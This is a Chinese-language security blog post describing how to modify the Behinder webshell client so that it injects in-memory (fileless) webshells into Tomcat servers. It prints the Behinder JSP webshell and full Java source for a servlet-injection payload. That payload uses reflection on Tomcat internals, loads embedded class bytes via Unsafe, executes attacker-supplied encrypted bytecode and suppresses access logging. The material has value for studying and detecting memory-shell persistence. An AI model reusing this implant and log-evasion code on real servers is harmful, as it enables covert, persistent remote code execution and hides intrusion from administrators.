作者:Skay @ QAX A-TEAM
原文链接:https://mp.weixin.qq.com/s/eI-50-_W89eN8tsKi-5j4g
在冰蝎原代码基础上,增加了内存马注入的支持。 这里我们只讨论以JSP方式注入内存马,不涉及与反序列化漏洞利用结合。
1.冰蝎JSP Webshell 工作原理
冰蝎利用动态二进制加密实现新型一句话木马的思路很好的解决了菜刀等webshell工具被查杀的问题。首先我们看下服务端
<%@page?import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%> <%!class?U?extends?ClassLoader{ ????U(ClassLoader?c){super(c); ????} ????public?Class?g(byte?[]b){ ????????return?super.defineClass(b,0,b.length); ????} }%> <%if?(request.getMethod().equals("POST")){ ????String?k="1a1dc91c907325c6";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/ session.putValue("u",k); ????Cipher?c=Cipher.getInstance("AES"); ????c.init(2,new?SecretKeySpec(k.getBytes(),"AES")); ????new?U(this.getClass().getClassLoader()).g(c.doFinal(new?sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext); }%>
第一段代码块创建了U类继承 ClassLoader ,然后自定义一个名为 g 的方法,接收字节数组类型的参数并调用父类的 defineClass 动态解析字节码返回 Class 对象,然后实例化该类并调用equals方法,传入 jsp 上下文中的pageContext 对象。其中 bytecode 就是由冰蝎客户端发送至服务端的字节码,获取到客户端发来的请求后,获取post的值,先解密,然后base64解码,获取一段byte[],然后调用difineClass,获取到一个Class,将其newInstance后,获取到类,该类中重写了 equals 方法,equals方法只接受一个参数,也就是pageContext,其实这也够了,只要传递pageContext进去,便可以间接获取Request、Response、Seesion等对象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();最后进行结果的返回。
2.冰蝎源码简要分析(JSP)
我们的目的是实现JSP版本的内存马注入,所以源码我们也只看,JSP相关部分。
(1) 目录结构
首先对目录有个概览
第一次接触冰蝎源码,是之前一次尝试去除2.0版本的特征,密钥交换步骤,去除冰蝎密钥交换步骤很简单,修改Utils getKeyAndCooiek方法,暴力一点,直接注释掉,将交换密钥写死在shell里?。
接下来将关注点回到3.0,上面分析JSP Webshell提到客户端会发给服务端一个加密后的数据,服务端解密后,得到一段byte[] 数据,再调用defineClass会得到一个Class,这个Class,我们是可以在冰蝎源码里找到的,在payload/java文件夹下
当冰蝎shell建立连接后,攻击者调用不同的功能时,每个功能与上面的文件一一对应,其实这么说不严谨,建立连接时,也会调用Echo.java 以及 BasicInfo.java
(2) shell连接流程
我们来跟下建立连接的流程
首先是入口net.rebeyond.behinder.ui.controller.MainWindowController,
跟进doConnect:184, ShellService,可以看到首先判断shell的连接类型,我们这里是Jsp,
在这段代码中可以看到,是通过调用echo方法来检测连接是否成功建立
obj = this.echo(content); if (obj.getString("msg").equals(content)) { result = true; }
我们跟进this.echo方法 echo:964, ShellService
echo方法很好的举例说明了,冰蝎内部是怎样将payload代码进编译成class文件,然后加密,发送到服务端进行动态执行。
echo方法执行完毕程序逻辑又回到doConnect:186, ShellService,可以看到返回true,说明连接成功,这里说明一点,如果连接不成功,冰蝎会进入2.0版本的常规密钥协商流程,这也算是对2.0的一个兼容吧。
doConnect方法执行结束后,回到lambda$1:110, MainWindowController 调用getBasicInfo,获取基本信息,对应在payload里面就是BasicInfo.java文件
getBascicInfo后,初始化各个功能,初始连接过程结束
到此简历连接完毕
(3) 冰蝎动态编译成字节码实现原理
冰蝎客户端是将java代码动态编译成字节码,然后加密发送给服务端,以BasicInfo.java 为例
// // Source code recreated from a .class file by IntelliJ IDEA // (powered by Fernflower decompiler) // package net.rebeyond.behinder.payload.java; public class BasicInfo { public static String whatever; public BasicInfo() { } public boolean equals(Object obj) { PageContext page = (PageContext)obj; page.getResponse().setCharacterEncoding("UTF-8"); String result = ""; try { ........ } catch (Exception var15) { var15.printStackTrace(); } return true; } public static byte[] Encrypt(byte[] bs, String key) throws Exception { .... return encrypted; } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { ....... return sb.toString(); } }
BasicInfo中存在public static变量,客户端动态构造服务端执行的代码时传进去的,通过params参数传递
public String getBasicInfo(String whatever) throws Exception { String result = ""; Map<String, String> params = new LinkedHashMap(); params.put("whatever", whatever); byte[] data = Utils.getData(this.currentKey, this.encryptType, "BasicInfo", params, this.currentType); Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex); byte[] resData = (byte[])((byte[])resultObj.get("data")); try { result = new String(Crypt.Decrypt(resData, this.currentKey, this.encryptType, this.currentType)); return result; } catch (Exception var8) { var8.printStackTrace(); throw new Exception("请求失败:" + new String(resData, "UTF-8")); } }
对应上文JSP Webshell工作原理的分析,客户端动态构造完毕java代码后,将Java代码,也就是整个BasicInfo类编译为字节码加密发送给服务端。服务端通过defineClass->newInstance获取到BasicInfo对象,调用BasicInfo的equal方法,将参数obj,也就是PageContext传进去,这样就可以获取request Resopose Session等对象,然后进一步执行equal中的代码逻辑,将执行结果写入response,并加密返回给客户端。
3.修改
逻辑原理分析完毕,总结一句话就是冰蝎的服务端提供了一个执行任意java代码的环境。所以修改方式就是将我们内存马注入的逻辑代码直接发送给服务端即可,也就是放到equal方法中。
注入内存马属于给冰蝎增加了一个功能,分为三步实现需求
- 新增功能后修改UI部分
- 跟进冰蝎内部功能调用代码,调用我们新增功能
- 更改equal方法实现内存马注入
(1) 新增功能后修改UI部分
冰蝎各个功能的初始化是在net.rebeyond.behinder.ui.controller.MainWindowController中,这里我为了不整个修改fxml文件,直接将平行空间功能修改为内存马注入
然后用idea自带的ui编辑器拖拽绘图既可
(2) 调用新增功能
先来跟下冰蝎调用功能时的调用栈...好短
lambda$1:64, ParallelViewController (net.rebeyond.behinder.ui.controller) run:-1, 392926346 (net.rebeyond.behinder.ui.controller.ParallelViewController$$Lambda$595) run:745, Thread (java.lang)
其实,冰蝎几乎将所有的功能模块准备都放在了初始化当中
我们只需要修改ParallelViewController,将按钮监听事件(注入内存马按钮)在初始化时启动监听即可。
现在,成功监听了按钮事件,如何控制当前连接的shell,注意一个变量this.currentShellService,它代表了当前的shell连接
即ShellService类,我们只需在ShellService中新建方法getInjectwebshell即可,
并将内存马的密码及路径参数传进去,供冰蝎动态构造需要在服务端执行的java代码
最后就是调用payload/java 目录下的具体功能了,我们需要在payload目录下新建相应的功能文件Injectwebshell_tomcat,然后冰蝎编译,加密发送到服务端。
getInjectwebshell关键代码
byte[] data = Utils.getData(this.currentKey, this.encryptType, "Injectwebshell_tomcat_skay", params, this.currentType); Map<String, Object> resultObj = Utils.requestAndParse(this.currentUrl, this.currentHeaders, data, this.beginIndex, this.endIndex);
(3) 更改equal方法实现内存马注入
最后就是实现我们Injectwebshell_tomcat,跟其它功能文件相同,只需将代码注入逻辑放在equals方法中即可,具体代码注入逻辑根据中间件不同,实现逻辑也有区别
PS:内存马的连接
内存马注入成功后,最好是使用原来的冰蝎是可以连接的,其实就是把原冰蝎的JSP服务端修改成java逻辑,放在目标服务器内存中运行即可。因为Tomcat、Weblogic都是通过动态注册Filter方式实现内存马注入,所以最终冰蝎服务端逻辑将在Filter中的doFilter方法中。
为了区别与普通JSP Webshell,动态注入的内存马将不再调用equal方法,修改为fuck方法
同时,客户端各个功能也需要相应增加fuck方法的实现逻辑
根据网上公开的思路,Tomcat内存马注入有两种思路,动态注册Servlet,动态注册Filter,在这里我们只讨论Filter方式注入内存马。
1.分析环境准备
参考链接https://mp.weixin.qq.com/s/DMVcqtiNG9gMdrBUyCRCgw
2.Tomcat Filter流程分析
(1) Filter简介
Filter 程序是一个实现了 Filter 接口的 Java 类,与 Servlet 程序相似,它由 Servlet容器进行调用和执行。这个 Servlet 过滤器就是我们的 filter,当在 web.xml 中注册了一个 Filter 来对某个 Servlet 程序进行拦截处理时,这个Filter 就成了 Tomcat 与该 Servlet 程序的通信线路上的一道关卡,该 Filter 可以对Servlet 容器发送给 Servlet 程序的请求和 Servlet 程序回送给 Servlet 容器的响应进行拦截,可以决定是否将请求继续传递给 Servlet 程序,以及对请求和相应信息是否进行修改。
(2) Tomcat filter?源码分析
分析之前列出组装过滤器时涉及到的几个核心类及其功能
- Filter过滤器接口一个 Filter 程序就是一个 Java 类,这个类必须实现 Filter 接口。javax.servlet.Filter 接口中定义了三个方法:init(Web 容器创建 Filter 的实例对象后,将立即调用该 Filter 对象的 init 方法)、doFilter(当一个 Filter 对象能够拦截访问请求时,Servlet 容器将调用 Filter 对象的 doFilter 方法)、destory(该方法在 Web 容器卸载 Filter 对象之前被调用)。
- FilterChain过滤器链 FilterChain 对象中有一个 doFilter() 方法,该方法的作用是让 Filter 链上的当前过滤器放行,使请求进入下一个 Filter.Filter和FilterChain密不可分, Filter可以实现依次调用正是因为有了FilterChain
- FilterConfig过滤器的配置,与普通的 Servlet 程序一样,Filter 程序也很可能需要访问 Servlet 容器。Servlet 规范将代表 ServletContext 对象和 Filter 的配置参数信息都封装到一个称为 FilterConfig 的对象中。FilterConfig 接口则用于定义 FilterConfig 对象应该对外提供的方法,以便在 Filter 程序中可以调用这些方法来获取 ServletContext 对象,以及获取在 web.xml 文件中为 Filter 设置的友好名称和初始化参数。
- FilterDef过滤器的配置和描述
- ApplicationFilterChain调用过滤器链
- ApplicationFilterConfig获取过滤器
- ApplicationFilterFactory组装过滤器链
还有几个比较重要的类
- WebXml从名字我们可以就看出来这个一个存放web.xml中内容的类
- ContextConfig一个web应用的上下文配置类
- StandardContext一个web应用上下文(Context接口)的标准实现
- StandardWrapperValve一个标准Wrapper的实现。一个上下文一般包括一个或者多个包装器,每一个包装器表示一个servlet。
Filter的配置在web.xml中,Tomcat会首先通过ContextConfig创建WebXML的实例来解析web.xml,先跳过这个部分,直接将关注点放在StandardWrapperValve,在这里会进行过滤器的组装操作。
首先,创建了一个应用过滤器链
我们跟进这个方法,整个应用过滤器链条的组装过程清晰的展现在面前,最终将filterChain返回
filterMaps是filtermap的数组,我们观察下filtermap的数据结构
FilterMap存放了Filter的名称和需要拦截的url的正则表达式 继续往下分析代码,遍历FilterMap中每一项,调用matchFiltersURL这个函数,去确定请求的url和Filter中需要拦截的正则表达式是否匹配
如果匹配通过,则通过context.findFilterConfig方法去查找filter对应的名称 继续往下走,我们现在获取到了filterConfig(ApplicationFilterChain),它的结构如下,里面有filterdef 以及filter对象
最后将filterconfig放到filterChain中,这里再看下filterChain.addFilter(filterConfig);方法
至此,filterChain组装完毕,回到org.apache.catalina.core.StandardWrapperValve,执行doFilter 执行过滤器
我们跟进org.apache.catalina.core.ApplicationFilterChain的doFilter方法中,它其实时调用了internalDoFilter,直接看internalDoFilter
Filter结束调用,拉闸~
最后借用宽字节表哥的一张图做一个总结
(3) 实现filter注入
对Tomcat处理filter有了一个清晰的了解之后,现在目的是实现filter动态注入,回忆一下刚才Tomcat处理FIlter的流程,并且关注一下context变量,也就是StandardContext的三个成员变量
StandardContext为web应用上下文变量,其中有三个成员变量和filter相关
- filterConfigs:filterConfig的数组 filterconfig里面有filterdef 以及filter对象
- filterRefs:filterRef的数组 FilterDef的作用主要为描述filter的字符串名称与Filter实例的关系
- filterMaps:filterMap的数组(FilterMap中存放了所有filter相关的信息包括filterName和urlPattern。有了这些之后,使用matchFiltersURL函数将每个filter和当前URL进行匹配,匹配成功的通过) filterConfig我们看过,这里注意,filterConfig.filterRef实际和context.filterRef指向的地址一样,也就是同一个东西
设法修改这三个变量,也许就能实现目的。
查看StandardContext源码,
- StandardContext.addFilterDef()可以修改filterRefs
- StandardContext.filterStart()函数会根据filterDef重新生成filterConfigs
- 至于filtermaps,直接本地new一个filter插入到数组第一位即可
首先是修改filterRefs和filterConfigs
Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart"); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, null);
然后修改filtermaps
还需要注意一点,直接调用addfilter会出现异常,因为对于context对象会做一些校验,
if (!context.getState().equals(LifecycleState.STARTING_PREP)) { //TODO Spec breaking enhancement to ignore this restriction throw new IllegalStateException( sm.getString("applicationContext.addFilter.ise", getContextPath())); }
需要修改下状态
Field stateField = org.apache.catalina.util.LifecycleBase.class .getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
addfilter执行完毕后,需要将状态改回来
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
1.从pagecontext中获取context
到这里,我们已经成功修改了context对象,最后一个问题,context对象我们怎么获取。
回忆一下,动态注入filter的代码逻辑是冰蝎本地编译号字节码在服务端执行的,也就是equal方法中,equal方法接收一个参数,pagecontext,从这个对象中我们可以成功取到StandardContext对象!
ServletContext servletContext = page.getServletContext(); // System.out.println(servletContext); //获取ApplicationContext Field field = servletContext.getClass().getDeclaredField("context"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); //获取StandardContext field = applicationContext.getClass().getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(applicationContext);
综上,我们Tomcat 基于JSP方式动态注入filter实现完毕。 集成到冰蝎里inject_tomcat代码如下:
参考了很多哥斯拉的思路 超级感谢北辰师傅
package net.rebeyond.behinder.payload.java; //import com.sun.beans.decoder.FieldElementHandler; import org.apache.catalina.Container; import org.apache.catalina.Wrapper; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import sun.misc.Unsafe; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpSession; import javax.servlet.jsp.PageContext; import java.io.IOException; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.util.ArrayList; public class Injectwebshell_tomcat6 extends ClassLoader implements Servlet { public static String url; public static String password; public static String filtername; private ServletRequest Request; private ServletResponse Response; private HttpSession Session; public Injectwebshell_tomcat6() {} public boolean fuck(String k, ServletRequest request, ServletResponse response, HttpSession session){ // PageContext page = (PageContext)obj; PageContext page = null; this.Session = page.getSession(); this.Response = page.getResponse(); this.Request = page.getRequest(); // System.out.println("ffffffffffffffffffffffffffffffffffffff"); String filterUrlPattern = url; String filterName = filtername; // String pass = password; // System.out.println(url+" "+myfilter_string); // System.out.println(url+" "); try { ServletContext servletContext = page.getServletContext(); // ServletContext servletContext = (ServletContext) field.get(standardContext); // System.out.println("11111"); // System.out.println(servletContext); //获取ApplicationContext Field field = servletContext.getClass().getDeclaredField("context"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); //获取StandardContext field = applicationContext.getClass().getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(applicationContext); if (standardContext != null) { //修改状态,要不然添加不了 Field stateField = org.apache.catalina.util.LifecycleBase.class .getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP); //创建一个自定义的Servlet马 Servlet my_servlet = new Injectwebshell_tomcat6(); //添加Servlet马 standardContext.getClass().getDeclaredMethod("addChild", Container.class).invoke(standardContext,my_servlet); Method method; try { method = standardContext.getClass().getMethod("addServletMappingDecoded", String.class, String.class); }catch (Exception e){ method = standardContext.getClass().getMethod("addServletMapping", String.class, String.class); } method.invoke(standardContext,filterUrlPattern,filterName); // if (getMethodByClass(my_servlet.getClass(),"setServlet",Servlet.class) == null){ // init((ServletConfig)getFieldValue()) // } } } catch (Exception e) { e.printStackTrace(); } return true; } public boolean equals(Object obj) { PageContext page = (PageContext)obj; this.Session = page.getSession(); this.Response = page.getResponse(); this.Request = page.getRequest(); // System.out.println("666666666666666666666666666666666666666666666f"); String filterUrlPattern = url; String filterName = filtername; // String pass = password; // System.out.println(url+" "+myfilter_string); // System.out.println(url+" "); try { ServletContext servletContext = page.getServletContext(); // System.out.println(servletContext); //获取ApplicationContext Field field = servletContext.getClass().getDeclaredField("context"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext); //获取StandardContext field = applicationContext.getClass().getDeclaredField("context"); field.setAccessible(true); StandardContext standardContext = (StandardContext) field.get(applicationContext); if (standardContext != null) { Object o = getFieldValue(standardContext.getServletContext(), "context"); Object newWrapper = this.invoke(standardContext, "createWrapper", (Object[])null); this.invoke(newWrapper, "setName", filterName); setFieldValue(newWrapper, "instance", this); Class containerClass = Class.forName("org.apache.catalina.Container", false, standardContext.getClass().getClassLoader()); Object oldWrapper = this.invoke(standardContext, "findChild", filterName); if (oldWrapper != null) { standardContext.getClass().getDeclaredMethod("removeChild", containerClass); } standardContext.getClass().getDeclaredMethod("addChild", containerClass).invoke(standardContext, newWrapper); Method method; try { method = standardContext.getClass().getMethod("addServletMappingDecoded", String.class, String.class); } catch (Exception var9) { method = standardContext.getClass().getMethod("addServletMapping", String.class, String.class); } method.invoke(standardContext, filterUrlPattern, filterName); if (this.getMethodByClass(newWrapper.getClass(), "setServlet", Servlet.class) == null) { this.transform(standardContext, filterUrlPattern); this.init((ServletConfig)getFieldValue(newWrapper, "facade")); } } } catch (Exception e) { // e.printStackTrace(); } return true; } @Override public void init(ServletConfig servletConfig) throws ServletException { } @Override public ServletConfig getServletConfig() { return null; } @Override public void service(ServletRequest req, ServletResponse resp) throws ServletException, IOException { // System.out.println("Servlet被执行了....\n"); String k= password; boolean test = false; try{ HttpSession session = ((HttpServletRequest) req).getSession(); session.putValue("u",k); Cipher c = Cipher.getInstance("AES"); c.init(2,new SecretKeySpec(k.getBytes(),"AES")); String reader = req.getReader().readLine(); // System.out.println(reader); // System.out.println("\n\n\n this is reader\n\n"); byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(reader)); try { test = null != Class.forName("net.rebeyond.behinder.core.U"); } catch (Throwable t) { test = false; } if (test) { Class Uclass = Class.forName("net.rebeyond.behinder.core.U"); System.out.println(Uclass.getClass()); Constructor tt = Uclass.getDeclaredConstructor(ClassLoader.class); tt.setAccessible(true); Object xx = tt.newInstance(this.getClass().getClassLoader()); Method tt1 = Uclass.getDeclaredMethod("g", byte[].class); tt1.setAccessible(true); Class evilClass = (Class) tt1.invoke(xx, evilClassBytes); Object a = evilClass.newInstance(); Method b = evilClass.getDeclaredMethod("fuck", String.class, ServletRequest.class, ServletResponse.class, HttpSession.class); b.invoke(a, k, req, resp, session); return; }else{ //这里解决了 好开心 byte[] Uclassbate = new byte[] {-54, -2, -70, -66, 0, 0, 0, 51, 0, 26, 10, 0, 4, 0, 20, 10, 0, 4, 0, 21, 7, 0, 22, 7, 0, 23, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 26, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 59, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 30, 76, 110, 101, 116, 47, 114, 101, 98, 101, 121, 111, 110, 100, 47, 98, 101, 104, 105, 110, 100, 101, 114, 47, 99, 111, 114, 101, 47, 85, 59, 1, 0, 1, 99, 1, 0, 23, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 59, 1, 0, 1, 103, 1, 0, 21, 40, 91, 66, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 1, 0, 1, 98, 1, 0, 2, 91, 66, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 6, 85, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 12, 0, 24, 0, 25, 1, 0, 28, 110, 101, 116, 47, 114, 101, 98, 101, 121, 111, 110, 100, 47, 98, 101, 104, 105, 110, 100, 101, 114, 47, 99, 111, 114, 101, 47, 85, 1, 0, 21, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 76, 111, 97, 100, 101, 114, 1, 0, 11, 100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115, 1, 0, 23, 40, 91, 66, 73, 73, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 67, 108, 97, 115, 115, 59, 0, 32, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 0, 0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 62, 0, 2, 0, 2, 0, 0, 0, 6, 42, 43, -73, 0, 1, -79, 0, 0, 0, 2, 0, 8, 0, 0, 0, 10, 0, 2, 0, 0, 0, 5, 0, 5, 0, 6, 0, 9, 0, 0, 0, 22, 0, 2, 0, 0, 0, 6, 0, 10, 0, 11, 0, 0, 0, 0, 0, 6, 0, 12, 0, 13, 0, 1, 0, 1, 0, 14, 0, 15, 0, 1, 0, 7, 0, 0, 0, 61, 0, 4, 0, 2, 0, 0, 0, 9, 42, 43, 3, 43, -66, -73, 0, 2, -80, 0, 0, 0, 2, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 8, 0, 9, 0, 0, 0, 22, 0, 2, 0, 0, 0, 9, 0, 10, 0, 11, 0, 0, 0, 0, 0, 9, 0, 16, 0, 17, 0, 1, 0, 1, 0, 18, 0, 0, 0, 2, 0, 19}; Field field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); Unsafe unsafe = (Unsafe)field.get(Unsafe.class); Class Uclass = unsafe.defineClass("net.rebeyond.behinder.core.U",Uclassbate,0,Uclassbate.length,null, null); Constructor tt = Uclass.getDeclaredConstructor(ClassLoader.class); tt.setAccessible(true); Object xx = tt.newInstance(this.getClass().getClassLoader()); Method Um = Uclass.getDeclaredMethod("g",byte[].class); Um.setAccessible(true); Class evilclass = (Class) Um.invoke(xx,evilClassBytes); Object a = evilclass.newInstance(); Method b = evilclass.getDeclaredMethod("fuck",String.class,ServletRequest.class, ServletResponse.class,HttpSession.class); b.invoke(a, k,req, resp,session); return; } } catch (Exception e) { e.printStackTrace();//实际中这里注释掉 调试用 } } @Override public String getServletInfo() { return null; } @Override public void destroy() { } Object invoke(Object obj, String methodName, Object... parameters) { try { ArrayList classes = new ArrayList(); if (parameters != null) { for(int i = 0; i < parameters.length; ++i) { Object o1 = parameters[i]; if (o1 != null) { classes.add(o1.getClass()); } else { classes.add((Object)null); } } } Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])classes.toArray(new Class[0])); return method.invoke(obj, parameters); } catch (Exception var7) { return null; } } Method getMethodByClass(Class cs, String methodName, Class... parameters) { Method method = null; while(cs != null) { try { method = cs.getDeclaredMethod(methodName, parameters); cs = null; } catch (Exception var6) { cs = cs.getSuperclass(); } } return method; } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field f = null; if (obj instanceof Field) { f = (Field)obj; } else { f = obj.getClass().getDeclaredField(fieldName); } f.setAccessible(true); f.set(obj, value); } public static Object getFieldValue(Object obj, String fieldName) throws Exception { Field f = null; if (obj instanceof Field) { f = (Field)obj; } else { Method method = null; Class cs = obj.getClass(); while(cs != null) { try { f = cs.getDeclaredField(fieldName); cs = null; } catch (Exception var6) { cs = cs.getSuperclass(); } } } f.setAccessible(true); return f.get(obj); } private void transform(Object standardContext, String path) throws Exception { Object containerBase = this.invoke(standardContext, "getParent", (Object[])null); Class mapperListenerClass = Class.forName("org.apache.catalina.connector.MapperListener", false, containerBase.getClass().getClassLoader()); Field listenersField = Class.forName("org.apache.catalina.core.ContainerBase", false, containerBase.getClass().getClassLoader()).getDeclaredField("listeners"); listenersField.setAccessible(true); ArrayList listeners = (ArrayList)listenersField.get(containerBase); for(int i = 0; i < listeners.size(); ++i) { Object mapperListener_Mapper = listeners.get(i); if (mapperListener_Mapper != null && mapperListenerClass.isAssignableFrom(mapperListener_Mapper.getClass())) { Object mapperListener_Mapper2 = getFieldValue(mapperListener_Mapper, "mapper"); Object mapperListener_Mapper_hosts = getFieldValue(mapperListener_Mapper2, "hosts"); for(int j = 0; j < Array.getLength(mapperListener_Mapper_hosts); ++j) { Object mapperListener_Mapper_host = Array.get(mapperListener_Mapper_hosts, j); Object mapperListener_Mapper_hosts_contextList = getFieldValue(mapperListener_Mapper_host, "contextList"); Object mapperListener_Mapper_hosts_contextList_contexts = getFieldValue(mapperListener_Mapper_hosts_contextList, "contexts"); for(int k = 0; k < Array.getLength(mapperListener_Mapper_hosts_contextList_contexts); ++k) { Object mapperListener_Mapper_hosts_contextList_context = Array.get(mapperListener_Mapper_hosts_contextList_contexts, k); if (standardContext.equals(getFieldValue(mapperListener_Mapper_hosts_contextList_context, "object"))) { new ArrayList(); Object standardContext_Mapper = this.invoke(standardContext, "getMapper", (Object[])null); Object standardContext_Mapper_Context = getFieldValue(standardContext_Mapper, "context"); Object standardContext_Mapper_Context_exactWrappers = getFieldValue(standardContext_Mapper_Context, "exactWrappers"); Object mapperListener_Mapper_hosts_contextList_context_exactWrappers = getFieldValue(mapperListener_Mapper_hosts_contextList_context, "exactWrappers"); int l; Object Mapper_Wrapper; Method addWrapperMethod; for(l = 0; l < Array.getLength(mapperListener_Mapper_hosts_contextList_context_exactWrappers); ++l) { Mapper_Wrapper = Array.get(mapperListener_Mapper_hosts_contextList_context_exactWrappers, l); if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) { addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("removeWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class); addWrapperMethod.setAccessible(true); addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path); } } for(l = 0; l < Array.getLength(standardContext_Mapper_Context_exactWrappers); ++l) { Mapper_Wrapper = Array.get(standardContext_Mapper_Context_exactWrappers, l); if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) { addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("addWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class, Object.class); addWrapperMethod.setAccessible(true); addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path, getFieldValue(Mapper_Wrapper, "object")); } } } } } } } } private void noLog(PageContext pc) { try { Object applicationContext = getFieldValue(pc.getServletContext(), "context"); Object container = getFieldValue(applicationContext, "context"); ArrayList arrayList; for(arrayList = new ArrayList(); container != null; container = this.invoke(container, "getParent", (Object[])null)) { arrayList.add(container); } label51: for(int i = 0; i < arrayList.size(); ++i) { try { Object pipeline = this.invoke(arrayList.get(i), "getPipeline", (Object[])null); if (pipeline != null) { Object valve = this.invoke(pipeline, "getFirst", (Object[])null); while(true) { while(true) { if (valve == null) { continue label51; } if (this.getMethodByClass(valve.getClass(), "getCondition", (Class[])null) != null && this.getMethodByClass(valve.getClass(), "setCondition", String.class) != null) { String condition = (String)this.invoke(valve, "getCondition"); condition = condition == null ? "FuckLog" : condition; this.invoke(valve, "setCondition", condition); pc.getRequest().setAttribute(condition, condition); valve = this.invoke(valve, "getNext", (Object[])null); } else if (Class.forName("org.apache.catalina.Valve", false, applicationContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) { valve = this.invoke(valve, "getNext", (Object[])null); } else { valve = null; } } } } } catch (Exception var9) { } } } catch (Exception var10) { } } }
那么,如果我们没有pagecontext对象呢?可以尝试从Mbeans中获取StandardContext,或者参考threede3am方法。
2.通过Mbean获取context
Meban简介
Tomcat 使用 JMX MBean 来实现自身的性能管理。每个包里的 mbeans-descriptor.xml 是针对 Catalina 的 JMX MBean 描述。通过Tomcat的MbeanServer我们就可以拿到注册到JMX的对象。 org.apache.tomcat.util.modeler.Registry类中提供了getMBeanServer()方法用于获得(或创建)MBeanServer 。在JmxMBeanServer中,其mbsInterceptor属性存放着我们想要的MBeanServer,
这个mbsInterceptor对象经过动态调试就是com.sun.jmx.interceptor.DefaultMBeanServerInterceptor。
在DefaultMBeanServerInterceptor存在一个Repository属性由于将注册的MBean进行保存 。
Repository中存在domainTb属性,存储着所有domain的MBean
domianTb的get方法接收domain参数,会返回一个HashMap,里面存储着此domain下所有注册的Mbean
经过如此的链式寻找,我们终于有办法从MBeanServer中获取到注册到其中的类。
JmxMBeanServer jmxMBeanServer = (JmxMBeanServer) Registry.getRegistry(null, null).getMBeanServer(); // 获取mbsInterceptor Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor"); field.setAccessible(true); Object mbsInterceptor = field.get(jmxMBeanServer); // 获取repository field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository"); field.setAccessible(true); Object repository = field.get(mbsInterceptor); // 获取domainTb field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb"); field.setAccessible(true); HashMap<String, Map<String, NamedObject>> domainTb = (HashMap<String,Map<String,NamedObject>>)field.get(repository); Object aaa = domainTb.get("Catalina");
我们用JConsole打开Tomcat的mbeans,很多,
我们的目的是从中获取StandardContext,先看看能不能直接获取到
tomcat源码中全局搜索 name="StandardContext" 我们是可以定位到StandardContext
但是获取失败.....
猜测可能是默认没有注册,domainTb.get("Catalina")中并没有查找到,放弃直接获取,
然后考虑获取其它已经注册的类,再反射获取属性。
这里我们打印出所有Catalina下已经注册的类
HashMap aaa = (HashMap) domainTb.get("Catalina"); Iterator<String> it = aaa.keySet().iterator(); while(it.hasNext()) { String key = it.next(); System.out.println(key + " : " + aaa.get(key)); } NamedObject test = domainTb.get("Catalina").get("context=/,host=localhost,name=StandardContext,type=Context"); System.out.println("aaaa");
